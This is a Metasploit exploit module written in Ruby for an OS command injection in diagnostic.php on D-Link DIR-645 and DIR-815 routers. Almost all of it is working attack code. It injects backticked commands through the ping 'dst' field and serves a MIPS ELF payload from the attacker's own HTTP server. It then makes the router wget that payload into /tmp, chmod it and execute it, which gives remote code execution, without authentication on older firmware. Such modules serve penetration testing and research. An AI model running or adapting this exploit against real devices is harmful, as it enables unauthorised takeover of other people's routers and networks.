##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'DLink DIR-645 / DIR-815 diagnostic.php Command Execution',
			'Description' => %q{
					Some DLink Routers are vulnerable to OS Command injection in the web interface.
				On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
				version 1.03 authentication is needed in order to trigger the vulnerability, which
				has been fixed definitely on version 1.04. Other DLink products, like DIR-300 rev B
				and DIR-600, are also affected by this vulnerability. Not every device includes
				wget which we need for deploying our payload. On such devices you could use the cmd
				generic payload and try to start telnetd or execute other commands. Since it is a
				blind OS command injection vulnerability, there is no output for the executed
				command when using the cmd generic payload. A ping command against a controlled
				system could be used for testing purposes. This module has been tested successfully
				on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
				vulnerability.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '92144' ],
					[ 'BID', '58938' ],
					[ 'EDB', '24926' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ]
				],
			'DisclosureDate' => 'Mar 05 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[ 'CMD',
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsel Payload',
						{
						'Arch' => ARCH_MIPSLE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1
			))

		register_options(
			[
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
			], self.class)
	end


	def request(cmd,uri)
		begin
			res = send_request_cgi({
				'uri'    => uri,
				'method' => 'POST',
				'vars_post' => {
					"act" => "ping",
					"dst" => "` #{cmd}`"
				}
			})
		return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return nil
		end
	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
		uri = '/diagnostic.php'

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			res = request(cmd,uri)
			if (!res)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			end
			print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
			return
		end

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the DLink device to download #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		#not working if we send all command together -> lets take three requests
		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
		res = request(cmd,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end
		register_file_for_cleanup("/tmp/#{filename}")

		#
		# chmod
		#
		cmd = "chmod 777 /tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the DLink device to chmod #{downfile}")
		res = request(cmd,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		#
		# execute
		#
		cmd = "/tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the DLink device to execute #{downfile}")
		res = request(cmd,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
			end
		end
	end

end
